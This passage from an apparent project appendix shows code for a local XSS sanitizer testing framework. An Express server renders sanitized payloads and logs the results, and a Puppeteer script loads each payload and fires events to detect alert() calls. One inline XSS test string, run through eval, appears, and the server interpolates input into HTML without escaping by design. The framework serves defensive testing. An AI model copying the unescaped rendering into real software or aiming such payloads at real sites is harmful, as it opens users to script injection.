  padding: 15px;
  border-radius: 5px;
  margin-bottom: 20px;
}
.payload-section {
  margin-bottom: 20px;
}
.payload-box {
  background: #fff;
  border: 1px solid #ddd;
  border-radius: 5px;
  padding: 15px;
  margin: 10px 0;
}
.original { border-left: 4px solid #dc3545; }
.sanitized { border-left: 4px solid #28a745; }
.blocked { border-left: 4px solid #ffc107; }
.status {
  padding: 10px;
  border-radius: 5px;
  margin: 10px 0;
  font-weight: bold;
}
.vulnerable { background: #f8d7da; color: #721c24; }
.safe { background: #d4edda; color: #155724; }
.blocked-status { background: #fff3cd; color: #856404; }
.back-link {
  display: inline-block;
```

```
            margin-top: 20px;
            padding: 10px 20px;
            background: #007bff;
            color: white;
            text-decoration: none;
            border-radius: 5px;
          }
          .back-link:hover {
            background: #0056b3;
          }
          pre {
            background: #f8f9fa;
            padding: 10px;
            border-radius: 3px;
            overflow-x: auto;
            white-space: pre-wrap;
          }
          .debug-info {
            background: #e9ecef;
            padding: 15px;
            border-radius: 5px;
            margin-top: 20px;
          }
        </style>
      </head>
      <body>
        <div class="container">
          <div class="header">
            <h1>XSS Test Results</h1>
            <p><strong>Payload:</strong> ${payload.name} (${payload.category})</p>
            <p><strong>Sanitizer:</strong> ${sanitizer}</p>
          </div>

          <div class="test-info">
            <h3>Test Configuration</h3>
            <p><strong>CSP:</strong> ${csp === 'true' ? 'Enabled' : 'Disabled'}</p>
            <p><strong>Debug:</strong> ${debug === 'true' ? 'Enabled' : 'Disabled'}</p>
                  <p><strong>Auto-close:</strong> ${autoClose !== 'false' ? 'Enabled' :
'Disabled'}</p>
            ${q ? `<p><strong>Query Parameter:</strong> ${q}</p>` : ''}
          </div>

          <div class="payload-section">
            <h3>Original Payload (Plain Text)</h3>
```

```
            <div class="payload-box original">
              <pre>${input.replace(/</g, '&lt;').replace(/>/g, '&gt;')}</pre>
            </div>

            <h3>Sanitized Payload (Plain Text)</h3>
            <div class="payload-box sanitized">
              <pre>${sanitized.replace(/</g, '&lt;').replace(/>/g, '&gt;')}</pre>
            </div>
          </div>

          <div class="status ${blocked ? 'blocked-status' : 'vulnerable'}">
            ${blocked ?
              '♡□ XSS Blocked: The sanitizer successfully prevented the XSS attack' :
              '⚠□ XSS Vulnerable: The sanitizer failed to block the XSS attack'
            }
          </div>

          <div class="payload-section">
            <h3>Rendered Output (Sanitized HTML)</h3>
            <div class="payload-box">
              ${sanitized}
            </div>
          </div>

          ${debug === 'true' ? `
            <div class="debug-info">
              <h3>Debug Information</h3>
              <p><strong>Test ID:</strong> ${testResult.id}</p>
              <p><strong>Timestamp:</strong> ${testResult.timestamp}</p>
              <p><strong>Payload ID:</strong> ${payloadId}</p>
              <p><strong>Sanitizer:</strong> ${sanitizer}</p>
              <p><strong>Blocked:</strong> ${blocked}</p>
                                  <p><strong>Sanitize   Time:</strong>   ${sanitizeTimeNs}ns
(${sanitizeTimeMs.toFixed(3)}ms)</p>
              <p><strong>Memory Usage:</strong></p>
                <p>  RSS: ${memoryUsage.rssBefore} → ${memoryUsage.rssAfter} bytes
(Δ: ${memoryUsage.rssDelta >= 0 ? '+' : ''}${memoryUsage.rssDelta} bytes)</p>
                                <p>  Heap   Used:   ${memoryUsage.heapUsedBefore}   →
${memoryUsage.heapUsedAfter}   bytes   (Δ:   ${memoryUsage.heapUsedDelta   >=   0   ?   '+'   :
''}${memoryUsage.heapUsedDelta} bytes)</p>
            </div>
          ` : ''}

          <a href="/" class="back-link">← Back to Dashboard</a>
```

```
</div>

<script>
  // XSS Detection Script
  (function() {
    const originalAlert = window.alert;
    let alertTriggered = false;

    // Override alert to detect XSS
    window.alert = function(message) {
      alertTriggered = true;
      console.log('XSS Alert Detected:', message);

      // Show custom alert with test information
      const customAlert = document.createElement('div');
      customAlert.style.cssText = \`
        position: fixed;
        top: 20px;
        right: 20px;
        background: #dc3545;
        color: white;
        padding: 15px 20px;
        border-radius: 5px;
        box-shadow: 0 4px 12px rgba(0,0,0,0.3);
        z-index: 10000;
        font-family: Arial, sans-serif;
        max-width: 300px;
      \`;
      customAlert.innerHTML = \`
        <strong>XSS Detected!</strong><br>
        Sanitizer: ${sanitizer}<br>
        Payload: ${payload.name}<br>
        Message: \${message}
      \`;

      document.body.appendChild(customAlert);

      // Auto-close custom alert if enabled
      ${autoClose !== 'false' ? `
        setTimeout(() => {
          if (customAlert.parentNode) {
            customAlert.parentNode.removeChild(customAlert);
          }
        }, 5000);
```

```
            ` : ''}

            // Call original alert
            originalAlert.call(this, message);
          };

          // Log test result to server
          fetch('/log', {
            method: 'POST',
            headers: {
              'Content-Type': 'application/json'
            },
            body: JSON.stringify({
              testId: ${testResult.id},
              sanitizer: '${sanitizer}',
              payloadId: ${payloadId},
              payloadName: '${payload.name}',
              payloadCategory: '${payload.category}',
              blocked: ${blocked},
              alertTriggered: false,
              timestamp: new Date().toISOString()
            })
          }).catch(err => console.log('Failed to log result:', err));

          // Check for XSS after page load
          setTimeout(() => {
            if (!alertTriggered && !${blocked}) {
              // No alert was triggered, but XSS wasn't blocked
              console.log('XSS payload present but no alert triggered');
            }
          }, 1000);
        })();
      </script>
    </body>
    </html>
  `;

  res.send(html);
});

// Log endpoint
app.post('/log', (req, res) => {
  const logData = req.body;
```

```
    // Update the test result with log data
    const testResult = testResults.find(tr => tr.id === logData.testId);
    if (testResult) {
      testResult.alertTriggered = logData.alertTriggered;
      testResult.loggedAt = new Date().toISOString();
    }

    res.json({ success: true });
  });

  // Results endpoints
  app.get('/results', (req, res) => {
    res.json(testResults);
  });

  app.get('/results/export', (req, res) => {
    const csv = [
       'Test ID,Timestamp,Sanitizer,Payload ID,Payload Name,Payload Category,Blocked,Alert
Triggered,CSP,Debug,Auto-close,Query',
      ...testResults.map(tr =>
        `${tr.id},${tr.timestamp},${tr.sanitizer},${tr.payloadId},"${tr.payloadName}",${tr.
payloadCategory},${tr.blocked},${tr.alertTriggered                                    ||
false},${tr.csp},${tr.debug},${tr.autoClose},"${tr.query || ''}"`
      )
    ].join('\n');

    res.setHeader('Content-Type', 'text/csv');
    res.setHeader('Content-Disposition', 'attachment; filename=xss-test-results.csv');
    res.send(csv);
  });

  app.post('/results/clear', (req, res) => {
    testResults = [];
    res.json({ success: true, message: 'All test results cleared' });
  });

  // API endpoint to get payloads
  app.get('/api/payloads', (req, res) => {
    res.json(xssPayloads);
  });

  // API endpoint to get sanitizers
  app.get('/api/sanitizers', (req, res) => {
    res.json(Object.keys(sanitizers));
```

```
});

// Error handling
app.use((err, req, res, next) => {
  console.error(err.stack);
  res.status(500).json({ error: 'Something went wrong!' });
});

// 404 handler
app.use((req, res) => {
  res.status(404).json({ error: 'Not found' });
});

app.listen(PORT, () => {
  console.log(`XSS Testing Framework running on http://localhost:${PORT}`);
  console.log(`Available sanitizers: ${Object.keys(sanitizers).join(', ')}`);
  console.log(`Total payloads: ${xssPayloads.length}`);
});
```

Б.2 puppeteer-tests.js

```
const puppeteer = require('puppeteer');
const fs = require('fs');
const path = require('path');

// Import payloads
const xssPayloads = require('./payloads');

class XSSAutomatedTester {
  constructor(options = {}) {
    this.sanitizer = options.sanitizer || 'none';
    this.baseUrl = options.baseUrl || 'http://localhost:3003';
    this.headless = options.headless !== false;
    this.timeout = options.timeout || 10000;
    this.results = [];
    this.stats = {
      total: 0,
      executed: 0,
      blocked: 0,
      vulnerable: 0,
      errors: 0
    };
  }
```

```
    async runTests() {
      console.log(` Starting XSS automated tests with sanitizer: ${this.sanitizer}`);

      const browser = await puppeteer.launch({
        headless: this.headless,
        args: ['--no-sandbox', '--disable-setuid-sandbox']
      });

      try {
        for (const payload of xssPayloads) {
          await this.testPayload(browser, payload);
          this.stats.total++;
        }
      } finally {
        await browser.close();
      }

      this.generateReport();
      return this.results;
    }

    async testPayload(browser, payload) {
      const page = await browser.newPage();

      try {
        console.log(`\n Testing Payload #${payload.id}: ${payload.name}`);

        // Set up alert handling
        const alerts = [];
        page.on('dialog', async (dialog) => {
          alerts.push({
            type: dialog.type(),
            message: dialog.message(),
            timestamp: new Date().toISOString()
          });
          await dialog.accept();
        });

        // Navigate to test page with debug enabled to get timing data
        const testUrl =
`${this.baseUrl}/test/${this.sanitizer}/${payload.id}?debug=true&csp=true`;
        await page.goto(testUrl, { waitUntil: 'networkidle2', timeout: this.timeout });

        // Wait for page to load
```

```
await page.waitForTimeout(1000);

// Execute payload-specific actions
await this.executePayloadActions(page, payload);

// Additional comprehensive event triggering for event_handler category
if (payload.category === 'event_handler') {
  await this.triggerAllEventHandlers(page);
}

// Wait for any delayed alerts (longer for complex payloads)
const waitTime = this.isComplexPayload(payload) ? 5000 : 2000;
await page.waitForTimeout(waitTime);

// Check for XSS execution
const xssDetected = alerts.length > 0;
const blocked = !xssDetected;

// Get page status and timing data from the page
const pageData = await page.evaluate(() => {
  const statusDiv = document.querySelector('.status');
  let pageStatus = 'Unknown';
  if (statusDiv) {
    if (statusDiv.classList.contains('vulnerable')) {
      pageStatus = 'XSS Vulnerable';
    } else if (statusDiv.classList.contains('blocked-status')) {
      pageStatus = 'XSS Blocked';
    } else if (statusDiv.classList.contains('safe')) {
      pageStatus = 'XSS Blocked';
    }
  }

  // Try to get timing and memory data from debug info
  let sanitizeTimeMs = 0;
  let sanitizeTimeNs = 0;
  let memoryUsage = {
    rssBefore: 0,
    rssAfter: 0,
    rssDelta: 0,
    heapUsedBefore: 0,
    heapUsedAfter: 0,
    heapUsedDelta: 0
  };
```

```
            const debugInfo = document.querySelector('.debug-info');
            if (debugInfo) {
              const debugText = debugInfo.textContent;

              // Match new format: "1234000ns (1.234ms)" - nanoseconds first
              const timeMatch = debugText.match(/Sanitize
Time:\s*(\d+)ns\s*\((\d+\.?\d*)ms\)/i);
              if (timeMatch) {
                sanitizeTimeNs = parseInt(timeMatch[1]);
                sanitizeTimeMs = parseFloat(timeMatch[2]);
              } else {
                // Fallback to old format: "1.234ms (1234000ns)"
                const oldTimeMatch = debugText.match(/Sanitize
Time:\s*(\d+\.?\d*)\s*ms\s*\((\d+)ns\)/i);
                if (oldTimeMatch) {
                  sanitizeTimeMs = parseFloat(oldTimeMatch[1]);
                  sanitizeTimeNs = parseInt(oldTimeMatch[2]);
                } else {
                  // Fallback to ms only
                  const msMatch = debugText.match(/Sanitize Time:\s*(\d+\.?\d*)\s*ms/i);
                  if (msMatch) {
                    sanitizeTimeMs = parseFloat(msMatch[1]);
                    sanitizeTimeNs = Math.round(sanitizeTimeMs * 1000000);
                  }
                }
              }

              // Extract memory usage data
              const rssMatch = debugText.match(/RSS:\s*(\d+)\s*→\s*(\d+)\s*bytes\s*\(Δ:\s*([+-
]?\d+)\s*bytes\)/i);
              if (rssMatch) {
                memoryUsage.rssBefore = parseInt(rssMatch[1]);
                memoryUsage.rssAfter = parseInt(rssMatch[2]);
                memoryUsage.rssDelta = parseInt(rssMatch[3]);
              }

              const heapMatch = debugText.match(/Heap
Used:\s*(\d+)\s*→\s*(\d+)\s*bytes\s*\(Δ:\s*([+-]?\d+)\s*bytes\)/i);
              if (heapMatch) {
                memoryUsage.heapUsedBefore = parseInt(heapMatch[1]);
                memoryUsage.heapUsedAfter = parseInt(heapMatch[2]);
                memoryUsage.heapUsedDelta = parseInt(heapMatch[3]);
              }
            }
```

```
            return { pageStatus, sanitizeTimeMs, sanitizeTimeNs, memoryUsage };
          });

          const result = {
            payloadId: payload.id,
            payloadName: payload.name,
            payloadCategory: payload.category,
            payload: payload.payload,
            sanitizer: this.sanitizer,
            url: testUrl,
            xssDetected,
            blocked,
            pageStatus: pageData.pageStatus,
            alerts: alerts,
            alertCount: alerts.length,
            sanitizeTimeMs: pageData.sanitizeTimeMs,
            sanitizeTimeNs: pageData.sanitizeTimeNs,
            memoryUsage: pageData.memoryUsage,
            timestamp: new Date().toISOString()
          };

          this.results.push(result);
          this.updateStats(result);

          console.log(`    ${blocked ? '♡□ BLOCKED' : '⚠□ VULNERABLE'} - ${alerts.length}
alert(s)`);
          console.log(`   On Page Status: ${pageData.pageStatus}`);

          // Check for discrepancy between alert detection and page status
          const alertStatusVulnerable = !blocked; // alerts.length > 0
          const pageStatusVulnerable = pageData.pageStatus === 'XSS Vulnerable';

          if (alertStatusVulnerable !== pageStatusVulnerable) {
            console.log(`   WARNING: Status discrepancy detected!`);
            console.log(`        Alert Detection: ${alertStatusVulnerable ? 'VULNERABLE' :
'BLOCKED'}`);
            console.log(`    Page Status: ${pageStatusVulnerable ? 'VULNERABLE' : 'BLOCKED'}`);
          }

          if (alerts.length > 0) {
            alerts.forEach((alert, index) => {
              console.log(`     Alert ${index + 1}: ${alert.message}`);
            });
```

```
    }

  } catch (error) {
    console.error(`Error testing payload #${payload.id}: ${error.message}`);
    this.stats.errors++;

    this.results.push({
      payloadId: payload.id,
      payloadName: payload.name,
      payloadCategory: payload.category,
      payload: payload.payload,
      sanitizer: this.sanitizer,
      error: error.message,
      timestamp: new Date().toISOString()
    });
  } finally {
    await page.close();
  }
}

async executePayloadActions(page, payload) {
  const category = payload.category;
  const payloadContent = payload.payload;

  try {
    // Category-specific actions
    switch (category) {
      case 'event_handler':
        await this.handleEventHandlers(page, payloadContent);
        break;

      case 'svg_vector':
        await this.handleSVGPayloads(page, payloadContent);
        break;

      case 'javascript_url':
        await this.handleJavaScriptURLs(page, payloadContent);
        break;

      case 'form_action':
        await this.handleFormActions(page, payloadContent);
        break;

      case 'data_attribute':
```

```
      await this.handleDataAttributes(page, payloadContent);
      break;

    case 'object_embed':
      await this.handleObjectEmbed(page, payloadContent);
      break;

    case 'meta_refresh':
      await this.handleMetaRefresh(page, payloadContent);
      break;

    case 'css_injection':
      await this.handleCSSInjection(page, payloadContent);
      break;

    case 'css_animation':
    case 'css_transition':
      await this.handleCSSEvents(page, payloadContent);
      break;

    case 'drag_drop':
      await this.handleDragDrop(page, payloadContent);
      break;

    case 'file_api':
      await this.handleFileAPI(page, payloadContent);
      break;

    case 'geolocation':
      await this.handleGeolocation(page, payloadContent);
      break;

    case 'camera_mic':
      await this.handleCameraMic(page, payloadContent);
      break;

    case 'notification':
      await this.handleNotification(page, payloadContent);
      break;

    case 'clipboard':
      await this.handleClipboard(page, payloadContent);
      break;
```

```
case 'fullscreen':
  await this.handleFullscreen(page, payloadContent);
  break;

case 'pointer_lock':
  await this.handlePointerLock(page, payloadContent);
  break;

case 'battery_api':
  await this.handleBatteryAPI(page, payloadContent);
  break;

case 'device_orientation':
  await this.handleDeviceOrientation(page, payloadContent);
  break;

case 'vibration':
  await this.handleVibration(page, payloadContent);
  break;

case 'speech_synthesis':
  await this.handleSpeechSynthesis(page, payloadContent);
  break;

case 'web_animations':
  await this.handleWebAnimations(page, payloadContent);
  break;

case 'intersection_observer':
  await this.handleIntersectionObserver(page, payloadContent);
  break;

case 'mutation_observer':
  await this.handleMutationObserver(page, payloadContent);
  break;

case 'resize_observer':
  await this.handleResizeObserver(page, payloadContent);
  break;

case 'performance_observer':
  await this.handlePerformanceObserver(page, payloadContent);
  break;
```

```
case 'web_workers':
  await this.handleWebWorkers(page, payloadContent);
  break;

case 'shared_workers':
  await this.handleSharedWorkers(page, payloadContent);
  break;

case 'service_worker':
case 'service_workers_advanced':
  await this.handleServiceWorkers(page, payloadContent);
  break;

case 'webassembly':
case 'web_assembly_advanced':
  await this.handleWebAssembly(page, payloadContent);
  break;

case 'webgl':
case 'webgl_advanced':
  await this.handleWebGL(page, payloadContent);
  break;

case 'web_components':
case 'web_components_advanced':
case 'custom_elements':
  await this.handleWebComponents(page, payloadContent);
  break;

case 'shadow_dom':
case 'shadow_dom_advanced':
  await this.handleShadowDOM(page, payloadContent);
  break;

case 'iframe_sandbox':
  await this.handleIframeSandbox(page, payloadContent);
  break;

case 'postmessage':
  await this.handlePostMessage(page, payloadContent);
  break;

case 'local_storage':
  await this.handleLocalStorage(page, payloadContent);
```

```
        break;

      case 'session_storage':
        await this.handleSessionStorage(page, payloadContent);
        break;

      case 'indexeddb':
        await this.handleIndexedDB(page, payloadContent);
        break;

      case 'websocket':
        await this.handleWebSocket(page, payloadContent);
        break;

      case 'web_rtc':
        await this.handleWebRTC(page, payloadContent);
        break;

      case 'fetch_api':
        await this.handleFetchAPI(page, payloadContent);
        break;

      case 'blob_url':
        await this.handleBlobURL(page, payloadContent);
        break;

      case 'template_literals':
      case 'proxy_objects':
      case 'symbols':
      case 'generators':
      case 'async_await':
      case 'modules':
      case 'dynamic_import':
      case 'top_level_await':
        await this.handleAdvancedJavaScript(page, payloadContent);
        break;

      default:
        // For script_tag and other basic payloads, just wait
        await page.waitForTimeout(1000);
        break;
    }
  } catch (error) {
    console.log(`   ⚠️ Action execution error: ${error.message}`);
```

```
    }
  }

  // Event handler specific actions
  async handleEventHandlers(page, payload) {
    // Try to trigger various events
    const events = ['click', 'mouseover', 'mouseout', 'mousemove', 'mousedown', 'mouseup',
'focus', 'blur', 'keydown', 'keyup', 'load', 'resize'];

    for (const event of events) {
      try {
        await page.evaluate((eventType) => {
          const elements = document.querySelectorAll(`[on${eventType}]`);
          elements.forEach(el => {
            if (el[`on${eventType}`]) {
              el[`on${eventType}`]();
            }
          });
        }, event);
        await page.waitForTimeout(100);
      } catch (e) {
        // Ignore errors
      }
    }

    // Additional mouse movement simulation for mousemove events
    try {
      await page.evaluate(() => {
        const elements = document.querySelectorAll('[onmousemove]');
        elements.forEach(el => {
          // Simulate mouse movement by dispatching mousemove events
          const mouseMoveEvent = new MouseEvent('mousemove', {
            bubbles: true,
            cancelable: true,
            clientX: 100,
            clientY: 100
          });
          el.dispatchEvent(mouseMoveEvent);

          // Also try calling the handler directly
          if (el.onmousemove) {
            el.onmousemove(mouseMoveEvent);
          }
        });
```

```
          });
          await page.waitForTimeout(200);
        } catch (e) {
          // Ignore errors
        }
      }

      // Helper method to identify complex payloads that need more time
      isComplexPayload(payload) {
        const complexCategories = [
          'web_workers', 'shared_workers', 'service_worker', 'service_workers_advanced',
          'webassembly', 'web_assembly_advanced', 'webgl_advanced', 'web_components_advanced',
          'shadow_dom_advanced',          'custom_elements',          'performance_observer',
'intersection_observer',
          'mutation_observer', 'resize_observer', 'fullscreen', 'speech_synthesis'
        ];

        return complexCategories.includes(payload.category) ||
               payload.payload.includes('Promise') ||
               payload.payload.includes('Worker') ||
               payload.payload.includes('WebAssembly') ||
               payload.payload.includes('Observer') ||
               payload.payload.includes('requestFullscreen') ||
               payload.payload.includes('speechSynthesis');
      }

      // Comprehensive event handler triggering
      async triggerAllEventHandlers(page) {
        try {
          await page.evaluate(() => {
            // Handle specific interactive elements that need special treatment

            // 1. Handle input elements with oninput
            const inputElements = document.querySelectorAll('input[oninput]');
            inputElements.forEach(input => {
              try {
                // Focus the input and type something to trigger oninput
                input.focus();
                input.value = 'test';
                input.dispatchEvent(new Event('input', { bubbles: true }));
                if (input.oninput) {
                  input.oninput(new Event('input'));
                }
              } catch (e) {
```

```
            // Ignore errors
          }
        });

        // 2. Handle select elements with onchange
        const selectElements = document.querySelectorAll('select[onchange]');
        selectElements.forEach(select => {
          try {
            // Add an option and select it to trigger onchange
            const option = document.createElement('option');
            option.value = 'test';
            option.textContent = 'Test Option';
            select.appendChild(option);
            select.selectedIndex = select.options.length - 1;
            select.dispatchEvent(new Event('change', { bubbles: true }));
            if (select.onchange) {
              select.onchange(new Event('change'));
            }
          } catch (e) {
            // Ignore errors
          }
        });

        // 3. Handle form elements with onsubmit
        const submitForms = document.querySelectorAll('form[onsubmit]');
        submitForms.forEach(form => {
          try {
            // Find submit button and click it
            const submitBtn = form.querySelector('input[type="submit"],
button[type="submit"]');
            if (submitBtn) {
              submitBtn.click();
            } else {
              // Trigger submit event directly
              form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
              if (form.onsubmit) {
                form.onsubmit(new Event('submit'));
              }
            }
          } catch (e) {
            // Ignore errors
          }
        });
```

```
            // 4. Handle form elements with onreset
            const resetForms = document.querySelectorAll('form[onreset]');
            resetForms.forEach(form => {
              try {
                // Find reset button and click it
                const        resetBtn        =        form.querySelector('input[type="reset"],
button[type="reset"]');
                if (resetBtn) {
                  resetBtn.click();
                } else {
                  // Trigger reset event directly
                  form.dispatchEvent(new Event('reset', { bubbles: true, cancelable: true }));
                  if (form.onreset) {
                    form.onreset(new Event('reset'));
                  }
                }
              } catch (e) {
                // Ignore errors
              }
            });

            // 5. Handle mouseenter and mouseleave events specifically (they don't bubble)
            const mouseEnterElements = document.querySelectorAll('[onmouseenter]');
            mouseEnterElements.forEach(el => {
              try {
                // Ensure element is visible and positioned
                el.style.display = 'block';
                el.style.position = 'relative';
                el.style.width = '100px';
                el.style.height = '50px';

                // Simulate mouse entering the element
                const event = new MouseEvent('mouseenter', {
                  bubbles: false, // mouseenter doesn't bubble
                  cancelable: true,
                  clientX: 50,
                  clientY: 25
                });

                // Trigger both event dispatch and direct handler call
                el.dispatchEvent(event);
                if (el.onmouseenter) {
                  el.onmouseenter(event);
                }
```

```
    // Also try calling the handler directly with a simple event
    if (el.onmouseenter) {
      el.onmouseenter(new Event('mouseenter'));
    }
  } catch (e) {
    // Ignore errors
  }
});

const mouseLeaveElements = document.querySelectorAll('[onmouseleave]');
mouseLeaveElements.forEach(el => {
  try {
    // Ensure element is visible and positioned
    el.style.display = 'block';
    el.style.position = 'relative';
    el.style.width = '100px';
    el.style.height = '50px';

    // Simulate mouse leaving the element
    const event = new MouseEvent('mouseleave', {
      bubbles: false, // mouseleave doesn't bubble
      cancelable: true,
      clientX: -10, // Outside the element
      clientY: -10
    });

    // Trigger both event dispatch and direct handler call
    el.dispatchEvent(event);
    if (el.onmouseleave) {
      el.onmouseleave(event);
    }

    // Also try calling the handler directly with a simple event
    if (el.onmouseleave) {
      el.onmouseleave(new Event('mouseleave'));
    }
  } catch (e) {
    // Ignore errors
  }
});

// Small delay to ensure mouseenter/mouseleave events have time to execute
setTimeout(() => {}, 100);
```

```
            // 6. Handle other event handlers with generic approach
            const eventHandlers = [
              'onclick',    'onmouseover',    'onmouseout',    'onmousemove',    'onmousedown',
'onmouseup',
              'onfocus', 'onblur', 'onkeydown', 'onkeyup', 'onkeypress',
              'onload', 'onunload', 'onresize', 'onscroll', 'onselect',
              'ondblclick',   'oncontextmenu',   'onwheel',   'ontouchstart',   'ontouchend',
'ontouchmove',
              'ontouchcancel', 'ondragstart', 'ondragend', 'ondragover', 'ondrop'
            ];

            eventHandlers.forEach(handlerName => {
              const elements = document.querySelectorAll(`[${handlerName}]`);
              elements.forEach(el => {
                try {
                  // Create appropriate event type
                  const eventType = handlerName.replace('on', '');
                  let event;

                  switch (eventType) {
                    case 'click':
                    case 'dblclick':
                    case 'contextmenu':
                      event = new MouseEvent(eventType, { bubbles: true, cancelable: true });
                      break;
                    case 'mouseover':
                    case 'mouseout':
                    case 'mousemove':
                    case 'mousedown':
                    case 'mouseup':
                      event = new MouseEvent(eventType, {
                        bubbles: true,
                        cancelable: true,
                        clientX: 100,
                        clientY: 100
                      });
                      break;
                    case 'keydown':
                    case 'keyup':
                    case 'keypress':
                      event = new KeyboardEvent(eventType, {
                        bubbles: true,
                        cancelable: true,
```

```
    key: 'Enter',
    keyCode: 13
  });
  break;
case 'focus':
case 'blur':
  event = new FocusEvent(eventType, { bubbles: true, cancelable: true });
  break;
case 'load':
case 'unload':
  event = new Event(eventType, { bubbles: true, cancelable: true });
  break;
case 'resize':
case 'scroll':
  event = new Event(eventType, { bubbles: true, cancelable: true });
  break;
case 'select':
  event = new Event(eventType, { bubbles: true, cancelable: true });
  break;
case 'wheel':
  event = new WheelEvent(eventType, {
    bubbles: true,
    cancelable: true,
    deltaX: 0,
    deltaY: 100,
    deltaZ: 0
  });
  break;
case 'touchstart':
case 'touchend':
case 'touchmove':
case 'touchcancel':
  event = new TouchEvent(eventType, {
    bubbles: true,
    cancelable: true,
    touches: []
  });
  break;
case 'dragstart':
case 'dragend':
case 'dragover':
case 'drop':
  event = new DragEvent(eventType, {
    bubbles: true,
```

```
                cancelable: true
              });
              break;
            default:
              event = new Event(eventType, { bubbles: true, cancelable: true });
          }

          // Dispatch the event
          el.dispatchEvent(event);

          // Also try calling the handler directly
          if (el[handlerName]) {
            el[handlerName](event);
          }
        } catch (e) {
          // Ignore individual event errors
        }
      });
    });

    // Wait for events to process
    await page.waitForTimeout(1000);
  } catch (e) {
    // Ignore errors
  }
}

// SVG specific actions
async handleSVGPayloads(page, payload) {
  try {
    await page.evaluate(() => {
      const svgElements = document.querySelectorAll('svg');
      svgElements.forEach(svg => {
        // Trigger SVG events
        svg.dispatchEvent(new Event('load'));
        svg.dispatchEvent(new Event('error'));
      });
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}
```

```
// JavaScript URL specific actions
async handleJavaScriptURLs(page, payload) {
  try {
    await page.evaluate(() => {
      const links = document.querySelectorAll('a[href^="javascript:"]');
      links.forEach(link => {
        link.click();
      });
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// Form action specific actions
async handleFormActions(page, payload) {
  try {
    await page.evaluate(() => {
      const forms = document.querySelectorAll('form');
      forms.forEach(form => {
        form.submit();
      });
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// Data attribute specific actions
async handleDataAttributes(page, payload) {
  try {
    await page.evaluate(() => {
      const elements = document.querySelectorAll('[data-xss]');
      elements.forEach(el => {
        const data = el.getAttribute('data-xss');
        if (data) {
          el.innerHTML = data;
        }
      });
    });
    await page.waitForTimeout(500);
```

```
  } catch (e) {
    // Ignore errors
  }
}

// Object/Embed specific actions
async handleObjectEmbed(page, payload) {
  try {
    await page.evaluate(() => {
      const objects = document.querySelectorAll('object, embed');
      objects.forEach(obj => {
        obj.dispatchEvent(new Event('load'));
        obj.dispatchEvent(new Event('error'));
      });
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// Meta refresh specific actions
async handleMetaRefresh(page, payload) {
  // Meta refresh should trigger automatically, just wait
  await page.waitForTimeout(2000);
}

// CSS injection specific actions
async handleCSSInjection(page, payload) {
  try {
    await page.evaluate(() => {
      const styles = document.querySelectorAll('style');
      styles.forEach(style => {
        style.dispatchEvent(new Event('load'));
      });
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// CSS events specific actions
async handleCSSEvents(page, payload) {
```

```
  try {
    await page.evaluate(() => {
      const elements = document.querySelectorAll('*');
      elements.forEach(el => {
        // Trigger animation events
        el.dispatchEvent(new Event('animationstart'));
        el.dispatchEvent(new Event('animationend'));
        el.dispatchEvent(new Event('transitionstart'));
        el.dispatchEvent(new Event('transitionend'));
      });
    });
    await page.waitForTimeout(1000);
  } catch (e) {
    // Ignore errors
  }
}

// Drag and drop specific actions
async handleDragDrop(page, payload) {
  try {
    await page.evaluate(() => {
      const draggableElements = document.querySelectorAll('[draggable="true"]');
      draggableElements.forEach(el => {
        el.dispatchEvent(new Event('dragstart'));
        el.dispatchEvent(new Event('dragend'));
      });
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// File API specific actions
async handleFileAPI(page, payload) {
  try {
    await page.evaluate(() => {
      const fileInputs = document.querySelectorAll('input[type="file"]');
      fileInputs.forEach(input => {
        input.dispatchEvent(new Event('change'));
      });
    });
    await page.waitForTimeout(500);
  } catch (e) {
```

```
    // Ignore errors
  }
}

// Geolocation specific actions
async handleGeolocation(page, payload) {
  try {
    await page.evaluate(() => {
      if (navigator.geolocation) {
        navigator.geolocation.getCurrentPosition(() => {}, () => {});
      }
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// Camera/Microphone specific actions
async handleCameraMic(page, payload) {
  try {
    await page.evaluate(() => {
      if (navigator.mediaDevices) {
        navigator.mediaDevices.getUserMedia({ video: true, audio: true })
          .then(() => {})
          .catch(() => {});
      }
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// Notification specific actions
async handleNotification(page, payload) {
  try {
    await page.evaluate(() => {
      if ('Notification' in window) {
        Notification.requestPermission().then(() => {
          new Notification('Test');
        });
      }
    });
```

```
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// Clipboard specific actions
async handleClipboard(page, payload) {
  try {
    await page.evaluate(() => {
      if (navigator.clipboard) {
        navigator.clipboard.writeText('test');
      }
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// Fullscreen specific actions
async handleFullscreen(page, payload) {
  try {
    await page.evaluate(() => {
      // Execute the actual payload script directly
      try {
        document.documentElement.requestFullscreen().then(() => alert('XSS'));
      } catch (e) {
        // If fullscreen fails, try alternative approach
        try {
          eval('document.documentElement.requestFullscreen().then(()=>alert("XSS"))');
        } catch (e2) {
          // Don't trigger false positive - just log the failure
          console.log('Fullscreen API failed:', e2.message);
        }
      }
    });
    await page.waitForTimeout(3000); // Fullscreen API needs more time
  } catch (e) {
    // Ignore errors
  }
}

// Pointer lock specific actions
```

```
async handlePointerLock(page, payload) {
  try {
    await page.evaluate(() => {
      if (document.body.requestPointerLock) {
        document.body.requestPointerLock();
      }
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// Battery API specific actions
async handleBatteryAPI(page, payload) {
  try {
    await page.evaluate(() => {
      if (navigator.getBattery) {
        navigator.getBattery();
      }
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}

// Device orientation specific actions
async handleDeviceOrientation(page, payload) {
  try {
    await page.evaluate(() => {
      window.addEventListener('deviceorientation', () => {});
      window.dispatchEvent(new DeviceOrientationEvent('deviceorientation', {
        alpha: 0,
        beta: 0,
        gamma: 0
      }));
    });
    await page.waitForTimeout(500);
  } catch (e) {
    // Ignore errors
  }
}
